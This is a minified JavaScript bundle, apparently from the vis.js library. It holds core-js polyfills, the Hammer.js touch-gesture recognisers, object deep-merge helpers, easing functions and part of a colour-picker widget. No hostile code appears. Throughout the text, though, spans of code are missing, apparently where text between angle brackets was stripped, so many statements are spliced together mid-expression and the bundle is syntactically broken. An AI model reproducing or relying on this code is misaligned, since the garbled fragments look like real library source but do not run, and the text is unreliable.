Cj=je,Ij=Cj.Object.getPrototypeOf,oj=Ij,sj=oj,rj=sj,sy=ae(rj),aj=bt,lj=aj("Array").concat,cj=st,uj=lj,vc=Array.prototype,dj=function(n){var e=n.concat;return n===vc||cj(vc,n)&&e===vc.concat?uj:e},hj=dj,fj=hj,pj=fj,ry=ae(pj),mj=ue,vj=Wi.filter,yj=dI,bj=yj("filter");mj({target:"Array",proto:!0,forced:!bj},{filter:function(e){return vj(this,e,arguments.length>1?arguments[1]:void 0)}});var wj=bt,Ej=wj("Array").filter,Tj=st,Sj=Ej,yc=Array.prototype,Oj=function(n){var e=n.filter;return n===yc||Tj(yc,n)&&e===yc.filter?Sj:e},xj=Oj,Nj=xj,Dj=Nj,wt=ae(Dj),ay=Dt,zj=Ze,ly=Be,Rj=zs,Mj=aI,_j=Yg,kj=eI.f,cy=ly(kj),Zj=ly([].push),Bj=ay&&zj(function(){var n=Object.create(null);return n[2]=2,!cy(n,2)}),Pj=function(n){return function(e){for(var t=_j(e),i=Mj(t),C=Bj&&Rj(t)===null,o=i.length,s=0,a=[],l;o>s;)l=i[s++],(!ay||(C?l in t:cy(t,l)))&&Zj(a,n?[l,t[l]]:t[l]);return a}},jj={values:Pj(!1)},Lj=ue,Gj=jj.values;Lj({target:"Object",stat:!0},{values:function(e){return Gj(e)}});var Fj=je,Vj=Fj.Object.values,Yj=Vj,Uj=Yj,Hj=Uj,Kj=ae(Hj),bc=` +\v\f\r                 \u2028\u2029\uFEFF`,Qj=Be,Xj=gI,Wj=gi,wc=bc,uy=Qj("".replace),qj=RegExp("^["+wc+"]+"),Jj=RegExp("(^|[^"+wc+"])["+wc+"]+$"),$j=function(n){return function(e){var t=Wj(Xj(e));return n&1&&(t=uy(t,qj,"")),n&2&&(t=uy(t,Jj,"$1")),t}},dy={trim:$j(3)},hy=ot,eL=Ze,tL=Be,gL=gi,iL=dy.trim,fy=bc,SI=hy.parseInt,py=hy.Symbol,my=py&&py.iterator,vy=/^[+-]?0x/i,nL=tL(vy.exec),AL=SI(fy+"08")!==8||SI(fy+"0x16")!==22||my&&!eL(function(){SI(Object(my))}),CL=AL?function(e,t){var i=iL(gL(e));return SI(i,t>>>0||(nL(vy,i)?16:10))}:SI,IL=ue,yy=CL;IL({global:!0,forced:parseInt!==yy},{parseInt:yy});var oL=je,sL=oL.parseInt,rL=sL,aL=rL,lL=aL,Xg=ae(lL),cL=ue,uL=ol,dL=Tl.indexOf,hL=VA,Ec=uL([].indexOf),by=!!Ec&&1/Ec([1],1,-0)<0,fL=by||!hL("indexOf");cL({target:"Array",proto:!0,forced:fL},{indexOf:function(e){var t=arguments.length>1?arguments[1]:void 0;return by?Ec(this,e,t)||0:dL(this,e,t)}});var pL=bt,mL=pL("Array").indexOf,vL=st,yL=mL,Tc=Array.prototype,bL=function(n){var e=n.indexOf;return n===Tc||vL(Tc,n)&&e===Tc.indexOf?yL:e},wL=bL,EL=wL,TL=EL,Le=ae(TL),SL=ue,OL=Dt,xL=hI;SL({target:"Object",stat:!0,sham:!OL},{create:xL});var NL=je,DL=NL.Object,zL=function(e,t){return DL.create(e,t)},RL=zL,ML=RL,_L=ML,$i=ae(_L),Sc=je,kL=As;Sc.JSON||(Sc.JSON={stringify:JSON.stringify});var ZL=function(e,t,i){return kL(Sc.JSON.stringify,null,arguments)},BL=ZL,PL=BL,jL=PL,YA=ae(jL),LL=typeof Bun=="function"&&Bun&&typeof Bun.version=="string",GL=TypeError,FL=function(n,e){if(nt,s=YL(i)?i:XL(i),a=o?KL(arguments,t):[],l=o?function(){VL(s,this,a)}:s;return e?n(l,C):n(l)}:n},qL=ue,Ty=ot,JL=Ey,Sy=JL(Ty.setInterval,!0);qL({global:!0,bind:!0,forced:Ty.setInterval!==Sy},{setInterval:Sy});var $L=ue,Oy=ot,e8=Ey,xy=e8(Oy.setTimeout,!0);$L({global:!0,bind:!0,forced:Oy.setTimeout!==xy},{setTimeout:xy});var t8=je,g8=t8.setTimeout,i8=g8,Ai=ae(i8),n8=cg,Ny=sI,A8=Og,C8=function(e){for(var t=n8(this),i=A8(t),C=arguments.length,o=Ny(C>1?arguments[1]:void 0,i),s=C>2?arguments[2]:void 0,a=s===void 0?i:Ny(s,i);a>o;)t[o++]=e;return t},I8=ue,o8=C8;I8({target:"Array",proto:!0},{fill:o8});var s8=bt,r8=s8("Array").fill,a8=st,l8=r8,Oc=Array.prototype,c8=function(n){var e=n.fill;return n===Oc||a8(Oc,n)&&e===Oc.fill?l8:e},u8=c8,d8=u8,h8=d8,OI=ae(h8);function Wg(){return Wg=Object.assign||function(n){for(var e=1;e"u"?{style:{}}:document.createElement("div"),p8="function",UA=Math.round,Kn=Math.abs,Nc=Date.now;function Bs(n,e){for(var t,i,C=e[0].toUpperCase()+e.slice(1),o=0;o"u"?Ei={}:Ei=window;var zy=Bs(f8.style,"touchAction"),Ry=zy!==void 0;function m8(){if(!Ry)return!1;var n={},e=Ei.CSS&&Ei.CSS.supports;return["auto","manipulation","pan-y","pan-x","pan-x pan-y","none"].forEach(function(t){return n[t]=e?Ei.CSS.supports("touch-action",t):!0}),n}var My="compute",_y="auto",Dc="manipulation",Qn="none",xI="pan-x",NI="pan-y",Ps=m8(),v8=/mobile|tablet|ip(ad|hone|od)|android/i,ky="ontouchstart"in Ei,y8=Bs(Ei,"PointerEvent")!==void 0,b8=ky&&v8.test(navigator.userAgent),DI="touch",w8="pen",zc="mouse",E8="kinect",T8=25,Xt=1,Xn=2,Et=4,ig=8,js=1,zI=2,RI=4,MI=8,HA=16,Ci=zI|RI,Wn=MI|HA,Zy=Ci|Wn,By=["x","y"],Ls=["clientX","clientY"];function Ti(n,e,t){var i;if(n)if(n.forEach)n.forEach(e,t);else if(n.length!==void 0)for(i=0;i-1}function S8(n){if(qn(n,Qn))return Qn;var e=qn(n,xI),t=qn(n,NI);return e&&t?Qn:e||t?e?xI:NI:qn(n,Dc)?Dc:_y}var Py=(function(){function n(t,i){this.manager=t,this.set(i)}var e=n.prototype;return e.set=function(i){i===My&&(i=this.compute()),Ry&&this.manager.element.style&&Ps[i]&&(this.manager.element.style[zy]=i),this.actions=i.toLowerCase().trim()},e.update=function(){this.set(this.manager.options.touchAction)},e.compute=function(){var i=[];return Ti(this.manager.recognizers,function(C){Gs(C.options.enable,[C])&&(i=i.concat(C.getTouchAction()))}),S8(i.join(" "))},e.preventDefaults=function(i){var C=i.srcEvent,o=i.offsetDirection;if(this.manager.session.prevented){C.preventDefault();return}var s=this.actions,a=qn(s,Qn)&&!Ps[Qn],l=qn(s,NI)&&!Ps[NI],u=qn(s,xI)&&!Ps[xI];if(a){var h=i.pointers.length===1,p=i.distance<2,m=i.deltaTime<250;if(h&&p&&m)return}if(!(u&&l)&&(a||l&&o&Ci||u&&o&Wn))return this.preventSrc(C)},e.preventSrc=function(i){this.manager.session.prevented=!0,i.preventDefault()},n})();function Rc(n,e){for(;n;){if(n===e)return!0;n=n.parentNode}return!1}function jy(n){var e=n.length;if(e===1)return{x:UA(n[0].clientX),y:UA(n[0].clientY)};for(var t=0,i=0,C=0;C=Kn(e)?n<0?zI:RI:e<0?MI:HA}function O8(n,e){var t=e.center,i=n.offsetDelta||{},C=n.prevDelta||{},o=n.prevInput||{};(e.eventType===Xt||o.eventType===Et)&&(C=n.prevDelta={x:o.deltaX||0,y:o.deltaY||0},i=n.offsetDelta={x:t.x,y:t.y}),e.deltaX=C.x+(t.x-i.x),e.deltaY=C.y+(t.y-i.y)}function Fy(n,e,t){return{x:e/n||0,y:t/n||0}}function x8(n,e){return Fs(e[0],e[1],Ls)/Fs(n[0],n[1],Ls)}function N8(n,e){return Mc(e[1],e[0],Ls)+Mc(n[1],n[0],Ls)}function D8(n,e){var t=n.lastInterval||e,i=e.timeStamp-t.timeStamp,C,o,s,a;if(e.eventType!==ig&&(i>T8||t.velocity===void 0)){var l=e.deltaX-t.deltaX,u=e.deltaY-t.deltaY,h=Fy(i,l,u);o=h.x,s=h.y,C=Kn(h.x)>Kn(h.y)?h.x:h.y,a=Gy(l,u),n.lastInterval=e}else C=t.velocity,o=t.velocityX,s=t.velocityY,a=t.direction;e.velocity=C,e.velocityX=o,e.velocityY=s,e.direction=a}function z8(n,e){var t=n.session,i=e.pointers,C=i.length;t.firstInput||(t.firstInput=Ly(e)),C>1&&!t.firstMultiple?t.firstMultiple=Ly(e):C===1&&(t.firstMultiple=!1);var o=t.firstInput,s=t.firstMultiple,a=s?s.center:o.center,l=e.center=jy(i);e.timeStamp=Nc(),e.deltaTime=e.timeStamp-o.timeStamp,e.angle=Mc(a,l),e.distance=Fs(a,l),O8(t,e),e.offsetDirection=Gy(e.deltaX,e.deltaY);var u=Fy(e.deltaTime,e.deltaX,e.deltaY);e.overallVelocityX=u.x,e.overallVelocityY=u.y,e.overallVelocity=Kn(u.x)>Kn(u.y)?u.x:u.y,e.scale=s?x8(s.pointers,i):1,e.rotation=s?N8(s.pointers,i):0,e.maxPointers=t.prevInput?e.pointers.length>t.prevInput.maxPointers?e.pointers.length:t.prevInput.maxPointers:e.pointers.length,D8(t,e);var h=n.element,p=e.srcEvent,m;p.composedPath?m=p.composedPath()[0]:p.path?m=p.path[0]:m=p.target,Rc(m,h)&&(h=m),e.target=h}function R8(n,e,t){var i=t.pointers.length,C=t.changedPointers.length,o=e&Xt&&i-C===0,s=e&(Et|ig)&&i-C===0;t.isFirst=!!o,t.isFinal=!!s,o&&(n.session={}),t.eventType=e,z8(n,t),n.emit("hammer.input",t),n.recognize(t),n.session.prevInput=t}function _I(n){return n.trim().split(/\s+/g)}function kI(n,e,t){Ti(_I(e),function(i){n.addEventListener(i,t,!1)})}function ZI(n,e,t){Ti(_I(e),function(i){n.removeEventListener(i,t,!1)})}function Vy(n){var e=n.ownerDocument||n;return e.defaultView||e.parentWindow||window}var KA=(function(){function n(t,i){var C=this;this.manager=t,this.callback=i,this.element=t.element,this.target=t.options.inputTarget,this.domHandler=function(o){Gs(t.options.enable,[t])&&C.handler(o)},this.init()}var e=n.prototype;return e.handler=function(){},e.init=function(){this.evEl&&kI(this.element,this.evEl,this.domHandler),this.evTarget&&kI(this.target,this.evTarget,this.domHandler),this.evWin&&kI(Vy(this.element),this.evWin,this.domHandler)},e.destroy=function(){this.evEl&&ZI(this.element,this.evEl,this.domHandler),this.evTarget&&ZI(this.target,this.evTarget,this.domHandler),this.evWin&&ZI(Vy(this.element),this.evWin,this.domHandler)},n})();function Jn(n,e,t){if(n.indexOf&&!t)return n.indexOf(e);for(var i=0;il[e]}):i=i.sort()),i}var k8={touchstart:Xt,touchmove:Xn,touchend:Et,touchcancel:ig},Z8="touchstart touchmove touchend touchcancel",kc=(function(n){xg(e,n);function e(){var i;return e.prototype.evTarget=Z8,i=n.apply(this,arguments)||this,i.targetIds={},i}var t=e.prototype;return t.handler=function(C){var o=k8[C.type],s=B8.call(this,C,o);s&&this.callback(this.manager,o,{pointers:s[0],changedPointers:s[1],pointerType:DI,srcEvent:C})},e})(KA);function B8(n,e){var t=BI(n.touches),i=this.targetIds;if(e&(Xt|Xn)&&t.length===1)return i[t[0].identifier]=!0,[t,t];var C,o,s=BI(n.changedTouches),a=[],l=this.target;if(o=t.filter(function(u){return Rc(u.target,l)}),e===Xt)for(C=0;C-1&&C.splice(a,1)};setTimeout(o,G8)}}function F8(n,e){n&Xt?(this.primaryTouch=e.changedPointers[0].identifier,Qy.call(this,e)):n&(Et|ig)&&Qy.call(this,e)}function V8(n){for(var e=n.srcEvent.clientX,t=n.srcEvent.clientY,i=0;i-1&&this.requireFail.splice(C,1),this},e.hasRequireFailures=function(){return this.requireFail.length>0},e.canRecognizeWith=function(i){return!!this.simultaneous[i.id]},e.emit=function(i){var C=this,o=this.state;function s(a){C.manager.emit(a,i)}o=en&&s(C.options.event+Wy(o))},e.tryEmit=function(i){if(this.canEmit())return this.emit(i);this.state=Ii},e.canEmit=function(){for(var i=0;io.threshold&&l&o.direction},t.attrTest=function(C){return WA.prototype.attrTest.call(this,C)&&(this.state&Ng||!(this.state&Ng)&&this.directionTest(C))},t.emit=function(C){this.pX=C.deltaX,this.pY=C.deltaY;var o=qy(C.direction);o&&(C.additionalEvent=this.options.event+o),n.prototype.emit.call(this,C)},e})(WA),Jy=(function(n){xg(e,n);function e(i){return i===void 0&&(i={}),n.call(this,Wg({event:"swipe",threshold:10,velocity:.3,direction:Ci|Wn,pointers:1},i))||this}var t=e.prototype;return t.getTouchAction=function(){return Pc.prototype.getTouchAction.call(this)},t.attrTest=function(C){var o=this.options.direction,s;return o&(Ci|Wn)?s=C.overallVelocity:o&Ci?s=C.overallVelocityX:o&Wn&&(s=C.overallVelocityY),n.prototype.attrTest.call(this,C)&&o&C.offsetDirection&&C.distance>this.options.threshold&&C.maxPointers===this.options.pointers&&Kn(s)>this.options.velocity&&C.eventType&Et},t.emit=function(C){var o=qy(C.offsetDirection);o&&this.manager.emit(this.options.event+o,C),this.manager.emit(this.options.event,C)},e})(WA),$y=(function(n){xg(e,n);function e(i){return i===void 0&&(i={}),n.call(this,Wg({event:"pinch",threshold:0,pointers:2},i))||this}var t=e.prototype;return t.getTouchAction=function(){return[Qn]},t.attrTest=function(C){return n.prototype.attrTest.call(this,C)&&(Math.abs(C.scale-1)>this.options.threshold||this.state&Ng)},t.emit=function(C){if(C.scale!==1){var o=C.scale<1?"in":"out";C.additionalEvent=this.options.event+o}n.prototype.emit.call(this,C)},e})(WA),eb=(function(n){xg(e,n);function e(i){return i===void 0&&(i={}),n.call(this,Wg({event:"rotate",threshold:0,pointers:2},i))||this}var t=e.prototype;return t.getTouchAction=function(){return[Qn]},t.attrTest=function(C){return n.prototype.attrTest.call(this,C)&&(Math.abs(C.rotation)>this.options.threshold||this.state&Ng)},e})(WA),tb=(function(n){xg(e,n);function e(i){var C;return i===void 0&&(i={}),C=n.call(this,Wg({event:"press",pointers:1,time:251,threshold:9},i))||this,C._timer=null,C._input=null,C}var t=e.prototype;return t.getTouchAction=function(){return[_y]},t.process=function(C){var o=this,s=this.options,a=C.pointers.length===s.pointers,l=C.distances.time;if(this._input=C,!l||!a||C.eventType&(Et|ig)&&!u)this.reset();else if(C.eventType&Xt)this.reset(),this._timer=setTimeout(function(){o.state=Si,o.tryEmit()},s.time);else if(C.eventType&Et)return Si;return Ii},t.reset=function(){clearTimeout(this._timer)},t.emit=function(C){this.state===Si&&(C&&C.eventType&Et?this.manager.emit(this.options.event+"up",C):(this._input.timeStamp=Nc(),this.manager.emit(this.options.event,this._input)))},e})(jI),gb={domEvents:!1,touchAction:My,enable:!0,inputTarget:null,inputClass:null,cssProps:{userSelect:"none",touchSelect:"none",touchCallout:"none",contentZooming:"none",userDrag:"none",tapHighlightColor:"rgba(0,0,0,0)"}},ib=[[eb,{enable:!1}],[$y,{enable:!1},["rotate"]],[Jy,{direction:Ci}],[Pc,{direction:Ci},["swipe"]],[Bc],[Bc,{event:"doubletap",taps:2},["tap"]],[tb]],K8=1,nb=2;function Ab(n,e){var t=n.element;if(t.style){var i;Ti(n.options.cssProps,function(C,o){i=Bs(t.style,o),e?(n.oldCssProps[i]=t.style[i],t.style[i]=C):t.style[i]=n.oldCssProps[i]||""}),e||(n.oldCssProps={})}}function Q8(n,e){var t=document.createEvent("Event");t.initEvent(n,!0,!0),t.gesture=e,e.target.dispatchEvent(t)}var Cb=(function(){function n(t,i){var C=this;this.options=Hn({},gb,i||{}),this.options.inputTarget=this.options.inputTarget||t,this.handlers={},this.session={},this.recognizers=[],this.oldCssProps={},this.element=t,this.input=Y8(this),this.touchAction=new Py(this,this.options.touchAction),Ab(this,!0),Ti(this.options.recognizers,function(o){var s=C.add(new o[0](o[1]));o[2]&&s.recognizeWith(o[2]),o[3]&&s.requireFailure(o[3])},this)}var e=n.prototype;return e.set=function(i){return Hn(this.options,i),i.touchAction&&this.touchAction.update(),i.inputTarget&&(this.input.destroy(),this.input.target=i.inputTarget,this.input.init()),this},e.stop=function(i){this.session.stopped=i?nb:K8},e.recognize=function(i){var C=this.session;if(!C.stopped){this.touchAction.preventDefaults(i);var o,s=this.recognizers,a=C.curRecognizer;(!a||a&&a.state&Si)&&(C.curRecognizer=null,a=null);for(var l=0;l\s*\(/gm,"{anonymous}()@"):"Unknown Stack Trace",s=window.console&&(window.console.warn||window.console.log);return s&&s.call(window.console,i,o),n.apply(this,arguments)}}var Cb=Ab(function(n,e,t){for(var i=Object.keys(e),C=0;C1?e-1:0),i=1;i2)return Us(rb(e[0],e[1]),...Qg(e).call(e,2));const i=e[0],C=e[1];if(i instanceof Date&&C instanceof Date)return i.setTime(C.getTime()),i;for(const o of MB(C))Object.prototype.propertyIsEnumerable.call(C,o)&&(C[o]===sb?delete i[o]:i[o]!==null&&C[o]!==null&&typeof i[o]=="object"&&typeof C[o]=="object"&&!Re(i[o])&&!Re(C[o])?i[o]=Us(i[o],C[o]):i[o]=ab(C[o]));return i}function ab(n){return Re(n)?jt(n).call(n,e=>ab(e)):typeof n=="object"&&n!==null?n instanceof Date?new Date(n.getTime()):Us({},n):n}function lb(n){for(const e of $e(n))n[e]===sb?delete n[e]:typeof n[e]=="object"&&n[e]!==null&&lb(n[e])}function Hs(){for(var n=arguments.length,e=new Array(n),t=0;t{const s=2091639*e+C*23283064365386963e-26;return e=t,t=i,i=s-(C=s|0)};return o.uint32=()=>o()*4294967296,o.fract53=()=>o()+(o()*2097152|0)*11102230246251565e-32,o.algorithm="Alea",o.seed=n,o.version="0.9",o}function eG(){const n=tG();let e=n(" "),t=n(" "),i=n(" ");for(let C=0;C>>0,C-=n,C*=n,n=C>>>0,C-=n,n+=C*4294967296}return(n>>>0)*23283064365386963e-26}}function gG(){const n=()=>{};return{on:n,off:n,destroy:n,emit:n,get(){return{set:n}}}}const jc=typeof window<"u"?window.Hammer||q8:function(){return gG()};function oi(n){var e;this._cleanupQueue=[],this.active=!1,this._dom={container:n,overlay:document.createElement("div")},this._dom.overlay.classList.add("vis-overlay"),this._dom.container.appendChild(this._dom.overlay),this._cleanupQueue.push(()=>{this._dom.overlay.parentNode.removeChild(this._dom.overlay)});const t=jc(this._dom.overlay);t.on("tap",X(e=this._onTapOverlay).call(e,this)),this._cleanupQueue.push(()=>{t.destroy()});const i=["tap","doubletap","press","pinch","pan","panstart","panmove","panend"];De(i).call(i,C=>{t.on(C,o=>{o.srcEvent.stopPropagation()})}),document&&document.body&&(this._onClick=C=>{iG(C.target,n)||this.deactivate()},document.body.addEventListener("click",this._onClick),this._cleanupQueue.push(()=>{document.body.removeEventListener("click",this._onClick)})),this._escListener=C=>{("key"in C?C.key==="Escape":C.keyCode===27)&&this.deactivate()}}pm(oi.prototype),oi.current=null,oi.prototype.destroy=function(){this.deactivate();for(const t of Un(n=ni(e=this._cleanupQueue).call(e,0)).call(n)){var n,e;t()}},oi.prototype.activate=function(){oi.current&&oi.current.deactivate(),oi.current=this,this.active=!0,this._dom.overlay.style.display="none",this._dom.container.classList.add("vis-active"),this.emit("change"),this.emit("activate"),document.body.addEventListener("keydown",this._escListener)},oi.prototype.deactivate=function(){this.active=!1,this._dom.overlay.style.display="block",this._dom.container.classList.remove("vis-active"),document.body.removeEventListener("keydown",this._escListener),this.emit("change"),this.emit("deactivate")},oi.prototype._onTapOverlay=function(n){this.activate(),n.srcEvent.stopPropagation()};function iG(n,e){for(;n;){if(n===e)return!0;n=n.parentNode}return!1}const nG=/^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i,AG=/^#?([a-f\d])([a-f\d])([a-f\d])$/i,CG=/^rgb\( *(1?\d{1,2}|2[0-4]\d|25[0-5]) *, *(1?\d{1,2}|2[0-4]\d|25[0-5]) *, *(1?\d{1,2}|2[0-4]\d|25[0-5]) *\)$/i,IG=/^rgba\( *(1?\d{1,2}|2[0-4]\d|25[0-5]) *, *(1?\d{1,2}|2[0-4]\d|25[0-5]) *, *(1?\d{1,2}|2[0-4]\d|25[0-5]) *, *([01]|0?\.\d+) *\)$/i;function tn(n){if(n)for(;n.hasChildNodes()===!0;){const e=n.firstChild;e&&(tn(e),n.removeChild(e))}}function qA(n){return n instanceof String||typeof n=="string"}function cb(n){return typeof n=="object"&&n!==null}function $n(n,e,t,i){let C=!1;i===!0&&(C=e[t]===null&&n[t]!==void 0),C?delete n[t]:n[t]=e[t]}function ub(n,e){let t=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!1;for(const i in n)if(e[i]!==void 0)if(e[i]===null||typeof e[i]!="object")$n(n,e,i,t);else{const C=n[i],o=e[i];cb(C)&&cb(o)&&ub(C,o,t)}}function JA(n,e,t){let i=arguments.length>3&&arguments[3]!==void 0?arguments[3]:!1;if(Re(t))throw new TypeError("Arrays are not supported by deepExtend");for(let C=0;C3&&arguments[3]!==void 0?arguments[3]:!1;if(Re(t))throw new TypeError("Arrays are not supported by deepExtend");for(const C in t)if(Object.prototype.hasOwnProperty.call(t,C)&&!Ji(n).call(n,C))if(t[C]&&t[C].constructor===Object)e[C]===void 0&&(e[C]={}),e[C].constructor===Object?We(e[C],t[C]):$n(e,t,C,i);else if(Re(t[C])){e[C]=[];for(let o=0;o2&&arguments[2]!==void 0?arguments[2]:!1,i=arguments.length>3&&arguments[3]!==void 0?arguments[3]:!1;for(const o in e)if(Object.prototype.hasOwnProperty.call(e,o)||t===!0)if(typeof e[o]=="object"&&e[o]!==null&&Iy(e[o])===Object.prototype)n[o]===void 0?n[o]=We({},e[o],t):typeof n[o]=="object"&&n[o]!==null&&Iy(n[o])===Object.prototype?We(n[o],e[o],t):$n(n,e,o,i);else if(Re(e[o])){var C;n[o]=Qg(C=e[o]).call(C)}else $n(n,e,o,i);return n}function Qs(n,e){return[...n,e]}function oG(n){return Qg(n).call(n)}function sG(n){return n.getBoundingClientRect().left}function rG(n){return n.getBoundingClientRect().top}function we(n,e){if(Re(n)){const t=n.length;for(let i=0;i3&&arguments[3]!==void 0?arguments[3]:{};const C=function(v){return v!=null},o=function(v){return v!==null&&typeof v=="object"},s=function(v){for(const w in v)if(Object.prototype.hasOwnProperty.call(v,w))return!1;return!0};if(!o(n))throw new Error("Parameter mergeTarget must be an object");if(!o(e))throw new Error("Parameter options must be an object");if(!C(t))throw new Error("Parameter option must have a value");if(!o(i))throw new Error("Parameter globalOptions must be an object");const a=function(v,w,N){o(v[N])||(v[N]={});const x=w[N],D=v[N];for(const k in x)Object.prototype.hasOwnProperty.call(x,k)&&(D[k]=x[k])},l=e[t],h=o(i)&&!s(i)?i[t]:void 0,p=h?h.enabled:void 0;if(l===void 0)return;if(typeof l=="boolean"){o(n[t])||(n[t]={}),n[t].enabled=l;return}if(l===null&&!o(n[t]))if(C(h))n[t]=$i(h);else return;if(!o(l))return;let m=!0;l.enabled!==void 0?m=l.enabled:p!==void 0&&(m=h.enabled),a(n,e,t),n[t].enabled=m}const cG={linear(n){return n},easeInQuad(n){return n*n},easeOutQuad(n){return n*(2-n)},easeInOutQuad(n){return n<.5?2*n*n:-1+(4-2*n)*n},easeInCubic(n){return n*n*n},easeOutCubic(n){return--n*n*n+1},easeInOutCubic(n){return n<.5?4*n*n*n:(n-1)*(2*n-2)*(2*n-2)+1},easeInQuart(n){return n*n*n*n},easeOutQuart(n){return 1- --n*n*n*n},easeInOutQuart(n){return n<.5?8*n*n*n*n:1-8*--n*n*n*n},easeInQuint(n){return n*n*n*n*n},easeOutQuint(n){return 1+--n*n*n*n*n},easeInOutQuint(n){return n<.5?16*n*n*n*n*n:1+16*--n*n*n*n*n}};function nn(n,e){let t;Re(e)||(e=[e]);for(const i of n)if(i){t=i[e[0]];for(let C=1;C0&&arguments[0]!==void 0?arguments[0]:1;this.pixelRatio=e,this.generated=!1,this.centerCoordinates={x:289/2,y:289/2},this.r=289*.49,this.color={r:255,g:255,b:255,a:1},this.hueCircle=void 0,this.initialColor={r:255,g:255,b:255,a:1},this.previousColor=void 0,this.applied=!1,this.updateCallback=()=>{},this.closeCallback=()=>{},this._create()}insertTo(e){this.hammer!==void 0&&(this.hammer.destroy(),this.hammer=void 0),this.container=e,this.container.appendChild(this.frame),this._bindHammer(),this._setSize()}setUpdateCallback(e){if(typeof e=="function")this.updateCallback=e;else throw new Error("Function attempted to set as colorPicker update callback is not a function.")}setCloseCallback(e){if(typeof e=="function")this.closeCallback=e;else throw new Error("Function attempted to set as colorPicker closing callback is not a function.")}_isColorString(e){if(typeof e=="string")return uG[e]}setColor(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!0;if(e==="none")return;let i;const C=this._isColorString(e);if(C!==void 0&&(e=C),qA(e)===!0){if(fb(e)===!0){const o=e.substr(4).substr(0,e.length-5).split(",");i={r:o[0],g:o[1],b:o[2],a:1}}else if(lG(e)===!0){const o=e.substr(5).substr(0,e.length-6).split(",");i={r:o[0],g:o[1],b:o[2],a:o[3]}}else if(hb(e)===!0){const o=Lc(e);i={r:o.r,g:o.g,b:o.b,a:1}}}else if(e instanceof Object&&e.r!==void 0&&e.g!==void 0&&e.b!==void 0){const o=e.a!==void 0?e.a:"1.0";i={r:e.r,g:e.g,b:e.b,a:o}}if(i===void 0)throw new Error("Unknown color passed to the colorPicker. Supported are strings: rgb, hex, rgba. Object: rgb ({r:r,g:g,b:b,[a:a]}). Supplied: "+YA(e));this._setColor(i,t)}show(){this.closeCallback!==void 0&&(this.closeCallback(),this.closeCallback=void 0),this.applied=!1,this.frame.style.display="block",this._generateHueCircle()}_hide(){(arguments.length>0&&arguments[0]!==void 0?arguments[0]:!0)===!0&&(this.previousColor=ht({},this.color)),this.applied===!0&&this.updateCallback(this.initialColor),this.frame.style.display="none",Ai(()=>{this.closeCallback!==void 0&&(this.closeCallback(),this.closeCallback=void 0)},0)}_save(){this.updateCallback(this.color),this.applied=!1,this._hide()}_apply(){this.applied=!0,this.updateCallback(this.color),this._updatePicker(this.color)}_loadLast(){this.previousColor!==void 0?this.setColor(this.previousColor,!1):alert("There is no last color to load...")}_setColor(e){(arguments.length>1&&arguments[1]!==void 0?arguments[1]:!0)===!0&&(this.initialColor=ht({},e)),this.color=e;const i=LI(e.r,e.g,e.b),C=2*Math.PI,o=this.r*i.s,s=this.centerCoordinates.x+o*Math.sin(C*i.h),a=this.centerCoordinates.y+o*Math.cos(C*i.h);this.colorPickerSelector.style.left=s-.5*this.colorPickerSelector.clientWidth+"px",this.colorPickerSelector.style.top=a-.5*this.colorPickerSelector.clientHeight+"px",this._updatePicker(e)}_setOpacity(e){this.color.a=e/100,this._updatePicker(this.color)}_setBrightness(e){const t=LI(this.color.r,this.color.g,this.color.b);t.v=e/100;const i=Xs(t.h,t.s,t.v);i.a=this.color.a,this.color=i,this._updatePicker()}_updatePicker(){let e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:this.color;const t=LI(e.r,e.g,e.b),i=this.colorPickerCanvas.getContext("2d");this.pixelRation===void 0&&(this.pixelRatio=(window.devicePixelRatio||1)/(i.webkitBackingStorePixelRatio||i.mozBackingStorePixelRatio||i.msBackingStorePixelRatio||i.oBackingStorePixelRatio||i.backingStorePixelRatio||1)),i.setTransform(this.pixelRatio,0,0,this.pixelRatio,0,0);const C=this.colorPickerCanvas.clientWidth,o=this.colorPickerCanvas.clientHeight;i.clearRect(0,0,C,o),i.putImageData(this.hueCircle,0,0),i.fillStyle="rgba(0,0,0,"+(1-t.v)+")",i.circle(this.centerCoordinates.x,this.centerCoordinates.y,this.r),OI(i).call(i),this.brightnessRange.value=100*t.v,this.opacityRange.value=100*e.a,this.initialColorDiv.style.backgroundColor="rgba("+this.initialColor.r+","+this.initialColor.g+","+this.initialColor.b+","+this.initialColor.a+")",this.newColorDiv.style.backgroundColor="rgba("+this.color.r+","+this.color.g+","+this.color.b+","+this.color.a+")"}_setSize(){this.colorPickerCanvas.style.width="100%",this.colorPickerCanvas.style.height="100%",this.colorPickerCanvas.width=289*this.pixelRatio,this.colorPickerCanvas.height=289*this.pixelRatio}_create(){var e,t,i,C;if(this.frame=document.createElement("div"),this.frame.className="vis-color-picker",this.colorPickerDiv=document.createElement("div"),this.colorPickerSelector=document.createElement("div"),this.colorPickerSelector.className="vis-selector",this.colorPickerDiv.appendChild(this.colorPickerSelector),this.colorPickerCanvas=document.createElement("canvas"),this.colorPickerDiv.appendChild(this.colorPickerCanvas),this.colorPickerCanvas.getContext){const s=this.colorPickerCanvas.getContext("2d");this.pixelRatio=(window.devicePixelRatio||1)/(s.webkitBackingStorePixelRatio||s.mozBackingStorePixelRatio||s.msBackingStorePixelRatio||s.oBackingStorePixelRatio||s.backingStorePixelRatio||1),this.colorPickerCanvas.getContext("2d").setTransform(this.pixelRatio,0,0,this.pixelRatio,0,0)}else{const s=document.createElement("DIV");s.style.color="red",s.style.fontWeight="bold",s.style.padding="10px",s.innerText="Error: your browser does not support HTML canvas",this.colorPickerCanvas.appendChild(s)}this.colorPickerDiv.className="vis-color",this.opacityDiv=document.createElement("div"),this.opacityDiv.className="vis-opacity",this.brightnessDiv=document.createElement("div"),this.brightnessDiv.className="vis-brightness",this.arrowDiv=document.createElement("div"),this.arrowDiv.className="vis-arrow",this.opacityRange=document.createElement("input");try{this.opacityRange.type="range",this.opacityRange.min="0",this.opacityRange.max="100"}catch{}this.opacityRange.value="100",this.opacityRange.className="vis-range",this.brightnessRange=document.createElement("input");try{this.brightnessRange.type="range",this.brightnessRange.min="0",this.brightnessRange.max="100"}catch{}this.brightnessRange.value="100",this.brightnessRange.className="vis-range",this.opacityDiv.appendChild(this.opacityRange),this.brightnessDiv.appendChild(this.brightnessRange);const 